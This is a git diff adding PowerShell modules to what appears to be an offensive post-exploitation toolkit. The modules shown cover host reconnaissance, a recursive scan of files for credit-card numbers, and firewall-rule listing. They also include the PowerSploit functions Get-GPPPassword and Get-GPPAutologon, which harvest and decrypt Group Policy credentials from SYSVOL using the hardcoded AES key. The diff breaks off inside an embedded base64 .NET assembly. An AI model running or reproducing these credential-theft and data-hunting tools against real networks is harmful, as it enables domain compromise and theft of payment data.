For $Computer" + Status = "Percent Complete: $([int]($i/($ComputerName.Count)*100))%" + PercentComplete = [int]($i++/($ComputerName.Count)*100) + }#End $WriteProgParam Hashtable + Write-Progress @WriteProgParams + }#End If ($ComputerName.Count -gt 1) + + #Gathering WMI Data + + $WMI_PROC = Get-WmiObject -Class Win32_Processor -ComputerName $Computer + $WMI_BIOS = Get-WmiObject -Class Win32_BIOS -ComputerName $Computer + $WMI_CS = Get-WmiObject -Class Win32_ComputerSystem -ComputerName $Computer + $WMI_OS = Get-WmiObject -Class Win32_OperatingSystem -ComputerName $Computer + $WMI_PM = Get-WmiObject -Class Win32_PhysicalMemory -ComputerName $Computer + $WMI_LD = Get-WmiObject -Class Win32_LogicalDisk -Filter "DriveType = '3'" -ComputerName $Computer + $WMI_NA = Get-WmiObject -Class Win32_NetworkAdapter -ComputerName $Computer + $WMI_NAC = Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled=$true" -ComputerName $Computer + $WMI_HOTFIX = Get-WmiObject -Class Win32_quickfixengineering -ComputerName $ComputerName + $WMI_NETLOGIN = Get-WmiObject -Class win32_networkloginprofile -ComputerName $Computer + $WMI_PAGEFILE = Get-WmiObject -Class Win32_PageFileUsage + + #Connecting to the Registry to determine PendingReboot status. + $RegCon = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]'LocalMachine',$Computer) + #If Windows Vista & Above, CBS Will Not Write To The PFRO Reg Key, Query CBS Key For "RebootPending" Key. + #Also, since there are properties that are exclusive to 2K8+ marking "Unaval" for computers below 2K8. + $WinBuild = $WMI_OS.BuildNumber + $CBSRebootPend, $RebootPending = $false, $false + If ([INT]$WinBuild -ge 6001) + { + #Querying the Component Based Servicing reg key for pending reboot status. + $RegSubKeysCBS = $RegCon.OpenSubKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\').GetSubKeyNames() + $CBSRebootPend = $RegSubKeysCBS -contains 'RebootPending' + + #Values that are present in 2K8+ + $OSArchitecture = $WMI_OS.OSArchitecture + $LogicalProcs = $WMI_CS.NumberOfLogicalProcessors + }#End If ($WinBuild -ge 6001) + Else + { + #Win32_OperatingSystem does not have a value for OSArch in 2K3 & Below + $OSArchitecture = '**Unavailable**' + + #In order to gather processor count for 2K3 & Below, Win32_Processor Instance Count is needed. + If ($WMI_PROC.Count -gt 1) + { + $LogicalProcs = $WMI_PROC.Count + }#End If ($WMI_PROC.Count -gt 1) + Else + { + $LogicalProcs = 1 + }#End Else + }#End Else + + #Querying Session Manager for both 2K3 & 2K8 for the PendingFileRenameOperations REG_MULTI_SZ to set PendingReboot value. + $RegSubKeySM = $RegCon.OpenSubKey('SYSTEM\CurrentControlSet\Control\Session Manager\') + $RegValuePFRO = $RegSubKeySM.GetValue('PendingFileRenameOperations',$false) + + #Querying WindowsUpdate\Auto Update for both 2K3 & 2K8 for "RebootRequired" + $RegWindowsUpdate = $RegCon.OpenSubKey('SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\').GetSubKeyNames() + $WUAURebootReq = $RegWindowsUpdate -contains 'RebootRequired' + $RegCon.Close() + + #Setting the $RebootPending var based on data read from the PendingFileRenameOperations REG_MULTI_SZ and CBS Key. + If ($CBSRebootPend -or $RegValuePFRO -or $WUAURebootReq) + { + $RebootPending = $true + }#End If ($RegValuePFRO -eq "NoValue") + + #Calculating Memory, Converting InstallDate, LastBootTime, Uptime. + [int]$Memory = ($WMI_PM | Measure-Object -Property Capacity -Sum).Sum / 1MB + $InstallDate = ([WMI]'').ConvertToDateTime($WMI_OS.InstallDate) + $LastBootTime = ([WMI]'').ConvertToDateTime($WMI_OS.LastBootUpTime) + $UpTime = New-TimeSpan -Start $LastBootTime -End (Get-Date) + + #PAEEnabled is only valid on x86 systems, setting value to false first. + $PAEEnabled = $false + If ($WMI_OS.PAEEnabled) + { + $PAEEnabled = $true + } + + #Creating the $CompInfo Object + New-Object PSObject -Property @{ + Computer = $WMI_CS.Name + Domain = $WMI_CS.Domain.ToUpper() + OperatingSystem = $WMI_OS.Caption + OSArchitecture = $OSArchitecture + BuildNumber = $WinBuild + ServicePack = $WMI_OS.ServicePackMajorVersion + Manufacturer = $WMI_CS.Manufacturer + Model = $WMI_CS.Model + SerialNumber = $WMI_BIOS.SerialNumber + Processor = ($WMI_PROC | Select-Object -ExpandProperty Name -First 1) + LogicalProcessors = $LogicalProcs + PhysicalMemory = $Memory + OSReportedMemory = [int]$($WMI_CS.TotalPhysicalMemory / 1MB) + PAEEnabled = $PAEEnabled + InstallDate = $InstallDate + LastBootUpTime = $LastBootTime + UpTime = $UpTime + RebootPending = $RebootPending + RebootPendingKey = $RegValuePFRO + CBSRebootPending = $CBSRebootPend + WinUpdRebootPending = $WUAURebootReq + LogonServer = $ENV:LOGONSERVER + PageFile = $WMI_PAGEFILE.Caption + } | Select-Object $CompInfoSelProp + + #There may be multiple NICs that have IPAddresses, hence the Foreach loop. + Write-Output 'Network Adaptors'`n + Foreach ($NAC in $WMI_NAC) + { + #Getting properties from $WMI_NA that correlate to the matched Index, this is faster than using $WMI_NAC.GetRelated('Win32_NetworkAdapter'). + $NetAdap = $WMI_NA | Where-Object { + $NAC.Index -eq $_.Index + } + + #Since there are properties that are exclusive to 2K8+ marking "Unaval" for computers below 2K8. + If ($WinBuild -ge 6001) + { + $PhysAdap = $NetAdap.PhysicalAdapter + $Speed = '{0:0} Mbit' -f $($NetAdap.Speed / 1000000) + }#End If ($WinBuild -ge 6000) + Else + { + $PhysAdap = '**Unavailable**' + $Speed = '**Unavailable**' + }#End Else + + #Creating the $NetInfo Object + New-Object PSObject -Property @{ + NICName = $NetAdap.Name + NICManufacturer = $NetAdap.Manufacturer + DHCPEnabled = $NAC.DHCPEnabled + MACAddress = $NAC.MACAddress + IPAddress = $NAC.IPAddress + IPSubnetMask = $NAC.IPSubnet + DefaultGateway = $NAC.DefaultIPGateway + DNSServerOrder = $NAC.DNSServerSearchOrder + DNSSuffixSearch = $NAC.DNSDomainSuffixSearchOrder + PhysicalAdapter = $PhysAdap + Speed = $Speed + } | Select-Object $NetInfoSelProp + }#End Foreach ($NAC in $WMI_NAC) + + #There may be multiple Volumes, hence the Foreach loop. + Write-Output 'Disk Information'`n + Foreach ($Volume in $WMI_LD) + { + #Creating the $VolInfo Object + New-Object PSObject -Property @{ + DeviceID = $Volume.DeviceID + VolumeName = $Volume.VolumeName + VolumeDirty = $Volume.VolumeDirty + Size = $('{0:F} GB' -f $($Volume.Size / 1GB)) + FreeSpace = $('{0:F} GB' -f $($Volume.FreeSpace / 1GB)) + PercentFree = $('{0:P}' -f $($Volume.FreeSpace / $Volume.Size)) + } | Select-Object $VolInfoSelProp + }#End Foreach ($Volume in $WMI_LD) + Write-Output 'Hotfix(s) Installed: '$WMI_HOTFIX.Count`n + $WMI_HOTFIX|Select-Object -Property Description, HotfixID, InstalledOn + }#End Try + + Catch + { + Write-Warning "$_" + }#End Catch + }#End Foreach ($Computer in $ComputerName) + + }#End Process + + End + { + #Resetting ErrorActionPref + $ErrorActionPreference = $TempErrAct + }#End End +}#End Function Get-ComputerInfo diff --git a/Modules/Get-CreditCardData.ps1 b/Modules/Get-CreditCardData.ps1 new file mode 100644 index 0000000..caecae7 --- /dev/null +++ b/Modules/Get-CreditCardData.ps1 @@ -0,0 +1,48 @@ +<# +.Synopsis + Searches recursively through the provided path searching for valid credit card numbers +.DESCRIPTION + Large files are read in chunks so as to not exhaust system resources +.EXAMPLE + PS C:\> Get-CreditCardData -Path C:\Backup\ +#> + +Function Get-CreditCardData { + + param ( + [string]$path = $(throw "-path is required";) + ) + + $Excel = New-Object -ComObject Excel.Application + + $REGEX = [regex]"(?im)(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})" + $REGEX2 = [regex]"^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})$" + $REGEX3 = [regex]"[456][0-9]{15}","[456][0-9]{3}[-| ][0-9]{4} [-| ][0-9]{4}[-| ][0-9]{4}" + + Get-ChildItem -Rec -Exclude *.exe,*.dll $path -File | % { + + #if (($_.FullName -like "*xls") -or ($_.FullName -like "*.xlsx")){ + #$Workbook = $Excel.Workbooks.Open($_.FullName) + #If(($Workbook.Sheets.Item(1).Range("A:Z")) | Select-String -pattern $REGEX){ + # $Workbook.Close($false) + # Write-Output "[+] Potential Card data found:" $_.FullName -ForegroundColor green + #} + #} + + if ((Select-String -pattern $REGEX -Path $_.FullName -AllMatches).Matches.Count -gt 5 ) { + Write-Output "[+] Potential Card data found:" $_.FullName -ForegroundColor green + return + } + + } + +} + +# Sample credit card data for testing +#3782 8224 6310 0054 +#371449635398431 +#371449635398432 +#371449635398434 +#371449635398432 +#371449635398430 +#371449635398432 diff --git a/Modules/Get-FirewallRules.ps1 b/Modules/Get-FirewallRules.ps1 new file mode 100644 index 0000000..5e62c30 --- /dev/null +++ b/Modules/Get-FirewallRules.ps1 @@ -0,0 +1,53 @@ +<# +.Synopsis + Returns all firewall rules +.DESCRIPTION + Returns all firewall rules +.EXAMPLE + PS C:\> Get-FirewallRule -Enabled $true | sort direction,applicationName,name +.EXAMPLE + PS C:\> Get-firewallRule -enabled $true | sort direction,applicationName,name | format-table -wrap -autosize -property Name, @{Label="Action"; expression={$Fwaction[$_.action]}},@{label="Direction";expression={ $fwdirection[$_.direction]}},@{Label="Protocol"; expression={$FwProtocols[$_.protocol]}}, localPorts,applicationname +#> +Function Get-FireWallRule +{ +Param ( +$Name, +$Direction, +$Enabled, +$Protocol, +$profile, +$action, +$grouping +) + +$Rules = (New-object -comObject HNetCfg.FwPolicy2).rules +If ($name) { $rules= $rules | where-object {$_.name -like $name}} +If ($direction) {$rules= $rules | where-object {$_.direction -eq $direction}} +If ($Enabled) {$rules= $rules | where-object {$_.Enabled -eq $Enabled}} +If ($protocol) {$rules= $rules | where-object {$_.protocol -eq $protocol}} +If ($profile) {$rules= $rules | where-object {$_.Profiles -bAND $profile}} +If ($Action) {$rules= $rules | where-object {$_.Action -eq $Action}} +If ($Grouping) {$rules= $rules | where-object {$_.Grouping -Like $Grouping}} + +$rules + +} + + +Function Get-FireWallRulesAll +{ + +Netsh.exe Advfirewall show allprofiles + +$spaces1 = " " * 71 +$spaces2 = " " * 64 +Get-FireWallRule -Enabled $true | sort name | ` +format-table -property ` +@{label="Name" + $spaces1 ; expression={$_.name} ; width=75}, ` +@{label="Action" ; expression={$Fwaction[$_.action]} ; width=6 }, ` +@{label="Direction" ; expression={$fwdirection[$_.direction]} ; width=9 }, ` +@{label="Protocol" ; expression={$FwProtocols[$_.protocol]} ; width=8 }, ` +@{label="Local Ports" ; expression={$_.localPorts} ; width=11}, ` +@{label="Application Name" + $spaces2 ; expression={$_.applicationname} ; width=80} + +} \ No newline at end of file diff --git a/Modules/Get-GPPAutologon.ps1 b/Modules/Get-GPPAutologon.ps1 new file mode 100644 index 0000000..1394256 --- /dev/null +++ b/Modules/Get-GPPAutologon.ps1 @@ -0,0 +1,140 @@ +function Get-GPPAutologon +{ +<# +.SYNOPSIS + + Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences. + + PowerSploit Function: Get-GPPAutologon + Author: Oddvar Moe (@oddvarmoe) + Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work! + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password. + +.EXAMPLE + + PS C:\> Get-GPPAutolgon + + UserNames File Passwords + --------- ---- --------- + {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3} + {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword} + + +.EXAMPLE + + PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq + + password + password12 + password123 + password1234 + password1234$ + read123 + Recycling*3ftw! + +.LINK + + https://support.microsoft.com/nb-no/kb/324737 +#> + + [CmdletBinding()] + Param () + + #Some XML issues between versions + Set-StrictMode -Version 2 + [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null + + #define helper function to parse fields from xml files + function Get-GPPInnerFields + { + [CmdletBinding()] + Param ( + $File + ) + + try + { + $Filename = Split-Path $File -Leaf + [xml] $Xml = Get-Content ($File) + + #declare empty arrays + $Password = @() + $UserName = @() + + #check for password and username field + if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*")) + { + $props = $xml.GetElementsByTagName("Properties") + foreach($prop in $props) + { + switch ($prop.name) + { + 'DefaultPassword' + { + $Password += , $prop | Select-Object -ExpandProperty Value + } + + 'DefaultUsername' + { + $Username += , $prop | Select-Object -ExpandProperty Value + } + } + + Write-Verbose "Potential password in $File" + } + + #put [BLANK] in variables + if (!($Password)) + { + $Password = '[BLANK]' + } + + if (!($UserName)) + { + $UserName = '[BLANK]' + } + + #Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) + { + Return $ResultsObject + } + } + } + catch {Write-Error $Error[0]} + } + + try { + #ensure that machine is domain joined and script is running as a domain account + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { + throw 'Machine is not a domain member or User is not a member of the domain.' + } + + #discover potential registry.xml containing autologon passwords + Write-Verbose 'Searching the DC. This could take a while.' + $XMlFiles = Get-ChildItem -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' + + if ( -not $XMlFiles ) {throw 'No preference files found.'} + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + foreach ($File in $XMLFiles) { + $Result = (Get-GppInnerFields $File.Fullname) + Write-Output $Result + } + } + + catch {Write-Error $Error[0]} +} \ No newline at end of file diff --git a/Modules/Get-GPPPassword.ps1 b/Modules/Get-GPPPassword.ps1 new file mode 100644 index 0000000..2701563 --- /dev/null +++ b/Modules/Get-GPPPassword.ps1 @@ -0,0 +1,247 @@ +function Get-GPPPassword { +<# +.SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + + PowerSploit Function: Get-GPPPassword + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + +.PARAMETER Server + + Specify the domain controller to search for. + Default's to the users current domain + +.EXAMPLE + + PS C:\> Get-GPPPassword + + NewName : [BLANK] + Changed : {2014-02-21 05:28:53} + Passwords : {password12} + UserNames : {test1} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml + + NewName : {mspresenters} + Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} + Passwords : {Recycling*3ftw!, password123, password1234} + UserNames : {Administrator (built-in), DummyAccount, dummy2} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml + + NewName : [BLANK] + Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} + Passwords : {password, password1234$} + UserNames : {administrator, admin} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml + + NewName : [BLANK] + Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} + Passwords : {password, read123} + UserNames : {DEMO\Administrator, admin} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml + +.EXAMPLE + PS C:\> Get-GPPPassword -Server EXAMPLE.COM + + NewName : [BLANK] + Changed : {2014-02-21 05:28:53} + Passwords : {password12} + UserNames : {test1} + File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + + NewName : {mspresenters} + Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} + Passwords : {Recycling*3ftw!, password123, password1234} + UserNames : {Administrator (built-in), DummyAccount, dummy2} + File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml + +.EXAMPLE + + PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq + + password + password12 + password123 + password1234 + password1234$ + read123 + Recycling*3ftw! + +.LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Server = $Env:USERDNSDOMAIN + ) + + #Some XML issues between versions + Set-StrictMode -Version 2 + [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null + #define helper function that decodes and decrypts password + function Get-DecryptedCpassword { + [CmdletBinding()] + Param ( + [string] $Cpassword + ) + + try { + #Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + #Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + #Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + #define helper function to parse fields from xml files + function Get-GPPInnerFields { + [CmdletBinding()] + Param ( + $File + ) + + try { + + $Filename = Split-Path $File -Leaf + [xml] $Xml = Get-Content ($File) + + #declare empty arrays + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + #check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + foreach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + #put [BLANK] in variables + if (!($Password)) {$Password = '[BLANK]'} + if (!($UserName)) {$UserName = '[BLANK]'} + if (!($Changed)) {$Changed = '[BLANK]'} + if (!($NewName)) {$NewName = '[BLANK]'} + + #Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) {Return $ResultsObject} + } + + catch {Write-Error $Error[0]} + } + + try { + #ensure that machine is domain joined and script is running as a domain account + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { + throw 'Machine is not a domain member or User is not a member of the domain.' + } + + #discover potential files containing passwords ; not complaining in case of denied access to a directory + Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." + $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' + + if ( -not $XMlFiles ) {throw 'No preference files found.'} + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + foreach ($File in $XMLFiles) { + $Result = (Get-GppInnerFields $File.Fullname) + Write-Output $Result + } + } + + catch {Write-Error $Error[0]} +} diff --git a/Modules/Get-IdleTime.ps1 b/Modules/Get-IdleTime.ps1 new file mode 100644 index 0000000..1e66986 --- /dev/null +++ b/Modules/Get-IdleTime.ps1 @@ -0,0 +1,15 @@ +$idletime = $null +Function Get-IdleTime { + +if ($idletime -ne "TRUE") { + $script:idletime = "TRUE" + echo "Loading Assembly" + $PS = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAG4GsVoAAAAAAAAAAOAAIiALATAAAAoAAAAGAAAAAAAAbikAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwpAABPAAAAAEAAAFgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADkJwAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAdAkAAAAgAAAACgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAFgDAAAAQAAAAAQAAAAMAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABQKQAAAAAAAEgAAAACAAUA3CAAAAgHAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAgAjAAAAAQAAESgOAAAKCxIBKA8AAAplbCgQAAAKChIAKAQAAAZsKBAAAAoqABMwAgATAAAAAgAAESgOAAAKChIAKAIAAAYoEQAACioAEzACAC0AAAADAAAREgD+FQMAAAISANADAAACKBIAAAooEwAACn0BAAAEEgAoAQAABiYGewIAAAQqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAiAIAACN+AAD0AgAA+AIAACNTdHJpbmdzAAAAAOwFAAAEAAAAI1VTAPAFAAAQAAAAI0dVSUQAAAAABgAACAEAACNCbG9iAAAAAAAAAAIAAAFXFaIVCQIAAAD6ATMAFgAAAQAAABYAAAADAAAAAgAAAAQAAAABAAAAEwAAAA0AAAADAAAAAQAAAAMAAAADAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAAAOMBAQAAAAAABgAyAWcCBgCfAWcCBgB/ACUCDwCHAgAABgCnAPwBBgAVAfwBBgD2APwBBgCGAfwBBgBSAfwBBgBrAfwBBgC+APwBBgCTAEgCBgBxAEgCBgDZAPwBBgCyAuwBBgBXAOwBBgDzAewBBgBnAOwBBgC5AuwBBgBsAOwBBgAmAOwBBgDQAUgCAAAAAAEAAAAAAAEAAQCBARAA0wIAAD0AAQABAAsBEAAKAAAASQABAAUABgC9AVcABgBgAFoAAAAAAIAAkSAOAl0AAQBQIAAAAACWCN0CIQACAIAgAAAAAJYISgBkAAIAoCAAAAAAlgiWAiYAAgAAAAEAywEJAB8CAQARAB8CBgAZAB8CCgApAB8CEAAxAB8CEAA5AB8CEABBAB8CEABJAB8CEABRAB8CEABZAB8CEABhAB8CFQBpAB8CEABxAB8CEACBAOsCIQCZAMUCJgCBADgCKgCBAKkCNQChADgAQQCxAMQBSAAuAAsAdwAuABMAgAAuABsAnwAuACMAqAAuACsAsgAuADMAsgAuADsAsgAuAEMAqAAuAEsAuAAuAFMAsgAuAFsAsgAuAGMA0AAuAGsA+gAaADAAPAACAAEAAADhAmkAAABOAG4AAACaAnMAAgACAAMAAgADAAUAAgAEAAcA2AEAAQMADgIBAASAAAABAAAAAAAAAAAAAAAAACEAAAACAAAAAAAAAAAAAABOABgAAAAAAAMAAgAAAAAAADxNb2R1bGU+AExBU1RJTlBVVElORk8AbXNjb3JsaWIASWRsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBnZXRfSWRsZVRpbWUARGF0ZVRpbWUAZHdUaW1lAFZhbHVlVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGNiU2l6ZQBTaXplT2YAcGxpaQBNYXJzaGFsAHVzZXIzMi5kbGwASWRsZS5kbGwAU3lzdGVtAFRpbWVTcGFuAFN5c3RlbS5SZWZsZWN0aW9uAEdldExhc3RJbnB1dEluZm8ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAEFkZE1pbGxpc2Vjb25kcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb